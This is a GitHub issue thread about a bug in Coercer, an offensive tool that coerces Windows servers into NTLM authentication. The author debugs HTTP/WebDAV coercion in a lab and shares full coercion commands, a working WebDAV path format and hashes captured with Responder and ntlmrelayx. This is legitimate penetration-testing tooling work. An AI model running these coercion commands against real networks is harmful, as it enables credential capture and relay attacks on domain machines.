p0dalirius / Coercer

A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 12 methods.
https://podalirius.net/
GNU General Public License v2.0
1.8k stars 182 forks source link

[bug] HTTP Authentications works in ntlmrelay from Coercer in coerce mode, but not detected by Coercer in scan and fuzz modes #42

Closed p0dalirius closed 1 year ago

p0dalirius commented 1 year ago

HTTP Authentications works in ntlmrelay

https://user-images.githubusercontent.com/79218792/206928507-697e659b-4096-4466-be2f-15432d742206.mp4

but not detected by Coercer in scan and fuzz modes

Follow up on #40 by @jsdhasfedssad

jsdhasfedssad commented 1 year ago

Hi,

I have been testing coercing SMB and HTTP using version 2.2 using version 1.6 as refference to make sure my setup was working. The result for me is that coercing SMB as anonymous and as authenticated works against Responder and ntlmrelayx in both versions. However, coercing HTTP as anonymous and as authenticated does not work in version 2.2 regardless if Responder or ntlmrelayx is used. There is simply no traffic that reaches Responder from the target when coercing. And as before, if I copy the "filename" output from Coercer 2.2 to Windows Explorer on the targeted DC coercing HTTP works against both Responder and ntlmrelayx.

CryingWelkin commented 1 year ago

@p0dalirius I can confirm the comment by @jsdhasfedssad . It also does not work on 2.4.

jsdhasfedssad commented 1 year ago

Hi.

Any update on this? I love this tool but as long as this issue is not fixed I am stuck using version 1.6 which for example is missing support for coercing via DCERPC. Coercing HTTP to SMB authentication is central. Attacks on LDAP cannot be performed by coercing SMB to SMB authentication.

Thanks!

CryingWelkin commented 1 year ago

@jsdhasfedssad I don't think the tool is being actively maintained. However, check out the "Authentication Coercion" section from NTLM Relay in case you are interested in knowing other methods of authentication coercing.

p0dalirius commented 1 year ago

Hey @PedantHTB,

It is maintained, I just don't understand yet the root cause of this for HTTP authentications. I am looking into it today and will try to find a solution.

Best regards,

CryingWelkin commented 1 year ago

Hello @p0dalirius

My apologies for that, I totally forgot about not posting paid promotions.

Your tool is absolutely amazing. Here is how we talked about it. image

Regarding the HTTP NTLM auth problem, we currently say this:

image

In case this gets fixed, I will happily edit the section. Again, apologies for the paid promotion, I did not intend it.

p0dalirius commented 1 year ago

Thank you @PedantHTB, I was not able to see the course content.

I am trying to fix it, it bothers me that it does not work. I'll ping you here once this is fixed!

Best regards,

CryingWelkin commented 1 year ago

@p0dalirius Could you also please check why these debug messages are being printed in a red font color instead of green? As you see from Responder, hashes are being received. This is only in scan mode; the messages get printed in green in coerce mode.

CoercerScan

Once again, thank you for your great tool and hard work. I hope you can figure out the problem.

Best regards 😃

p0dalirius commented 1 year ago

@PedantHTB I do understand why it is not clear I will explain it better in the scan mode.

Scan Mode: The scan mode listens on your port 445 on your machine, and waits for authentications callbacks. If you listen with Responder or NTLMRelay while using scan mode, you will receive authentications in another tool, and therefore the messages will get printed in red. Try it again in scan mode with only Coercer running, and you will understand better the behavior :)

Coerce mode: In this mode it will try to coerce authentications to a remote target, and will not listen to check if it works. I have highlighted in green the RPC responses corresponding to cases when it should work.

p0dalirius commented 1 year ago

Trying to fix right now,

Poc Environment

Windows machine: image => It works if entering a Webdav path in a explorer.exe search bar

Responder: image => We get what we want

Coercer: image => No auth is triggered in HTTP by coercer

PetitPotam: image => No auth is triggered in HTTP by PetitPotam

p0dalirius commented 1 year ago

Time to wireshark

Adding /e to webdav host in PetitPotam made it work image

We get expected WebDaV handshakes image

The working path format \\WIN-D42ELKBXQBJ@80/e\test\Settings.ini, is not the format I used in

https://github.com/p0dalirius/Coercer/blob/50173559a9a4cfe4b35a9d0de85cb46caa28c9c0/coercer/methods/MS_EFSR/EfsRpcDecryptFileSrv.py#L44

p0dalirius commented 1 year ago

Coercing to WebDaV using a path with a netbios name:

In coercer:

coercer coerce -t 192.168.1.11 --auth-type http -u Administrator -p 'Admin123!' -l WIN-206F5YRJM2G --always-continue --filter-pipe-name lsarpc

image

=> We see HTTP requests outgoing the target machine in wireshark: image

And we get hashes in Responder image

p0dalirius commented 1 year ago

Coercing to WebDaV using a path to an IP address:

\\192.168.1.27@80/weE\share\file.txt

I used this command line for Coercer

coercer coerce -t 192.168.1.11 --auth-type http -u Administrator -p 'Admin123!' -l 192.168.1.27 --always-continue --filter-pipe-name lsarpc

And PetitPotam and Coercer are consistent, each get a 401 Unauthorized on the WebDaV: image

image

p0dalirius commented 1 year ago

Hey @jsdhasfedssad @PedantHTB,

I have fixed this issue in https://github.com/p0dalirius/Coercer/commit/83a1fd7529ab07720b2d917e59847d8cd236c6aa and released version 2.4.3.

Let me know if you encounter further problems,

Best regards, Remi GASCOU (Podalirius)

jsdhasfedssad commented 1 year ago

Great work! As far as I have tested so far both SMB and HTTP can be coerced now. Thank you!

CryingWelkin commented 1 year ago

Thank you very much @p0dalirius for the extremely awesome work. I will test this and update what we have in our section in the module.

Best regards 😄

p0dalirius commented 1 year ago

Thank you @PedantHTB, again sorry for the trouble!

Best regards,

CryingWelkin commented 1 year ago

@p0dalirius Please do not be sorry for anything, Sir; your hard work is much appreciated.

By the way, in a previous comment, you stated the following:

"The scan mode listens on your port 445 on your machine, and waits for authentications callbacks. If you listen with Responder or NTLMRelay while using scan mode, you will receive authentications in another tool, and therefore the messages will get printed in red. Try it again in scan mode with only Coercer running, and you will understand better the behavior :)"

I actually tried that before sending you that message, however, to double-check, I went and tried it again; the outcome is the same: the debug messages are still being printed in red:

ScanModeDebugMessages

Am I missing something, or is this unintended? If I do the same with Responder running, I do get hashes coerced due to Coercer (I know so because I only respond to 172.16.117.50, which is WS01$):

ScanModeWithntlmrelayx

p0dalirius commented 1 year ago

Hi @PedantHTB,

I hope you are well!

I understand your problem we were not talking about the same thing. There was a problem on older versions of Coercer where I forgot to check if Coercer is able to listen on the port in scan mode. I added a check in commit https://github.com/p0dalirius/Coercer/commit/91fbd4daf4c457e64e262f9770792e0fea3b6320 to explicitly print if a port is not available, like what Responder does.

From your screenshots I think that you ran Coercer with a normal user (if you are not root you cannot listen on privileged ports < 1024). Therefore in your case in scan mode, Coercer is trying to listen on privileged ports < 1024 but cannot, and the fix was not yet implemented. This is what causes trouble on your tests I believe.

Would you be so kind as to retry on the latest version of Coercer? (As of right now it is version 2.4.3). You can upgrade it with:

python3 -m pip install coercer --upgrade

To sum up:

With the ability to listen on privileged ports, everything should look good!


I will update the documentation on the whole project soon, to precise those unclear points.

Best regards,

CryingWelkin commented 1 year ago

Oh. I finally get it. My bad, my bad. I will do as you instructed and keep you updated.

By the way, once you update the documentation, I am ready to proofread all of it, if that suits you. Just let me know 😃

p0dalirius commented 1 year ago

Oh that would be awesome, I will keep you updated once the new documentation is up

I will work on the documentation in one or two weeks

CryingWelkin commented 1 year ago

@p0dalirius Hello again 👋

So, I downloaded the latest release and started rechecking whatever I had reported previously. Regarding the font color of debug messages, the issue persists, although partially. Before showing you an example, I want to state what I understand from Coercer and its scan mode:

When using the scan mode, the same RPC methods that cause Coercer to print debug messages in red make it print in green for the coerce mode (with sudo). Consider the first six methods of \PIPE\lsarpc; scan mode prints the debug messages in red:

coercer_scan_mode

However, coerce mode prints the same debug messages in green (side note, I don't have Responder running):

coercer_coerce_mode

Although I only showed a very few methods, I think the overall behavior is the same. Curious to know your take on this, and pardon me if I am missing something this time also.

p0dalirius commented 1 year ago

Hello,

I hope you are well!


Scan mode

In scan mode everything is printed in red if no authentication was received. Messages are only printed in green when an authentication is received on the listen port 445 (or specified HTTP port) by Coercer in this mode.

Two things are happening here in your test with scan mode:

image

https://github.com/p0dalirius/Coercer/assets/79218792/6ed89c81-3a15-4444-b300-17d4bd387fba

./Coercer.py coerce -u Administrator -p 'Admin123!' -t 10.0.0.101 -l 10.0.0.5 --always-continue --delay 40

Coerce mode

In coerce mode, Messages are printed in green if authentications are probably working. This is because we have no way to find out from the RPC return code if the authentication did work. Therefore I choose to print these messages ERR_BAD_NETPATH in green since they are the one we get in return if the coerced authentication took place. To sum it up:

I hope it is clearer, but do not hesitate to ping me if there is still some unclear points.

Best regards,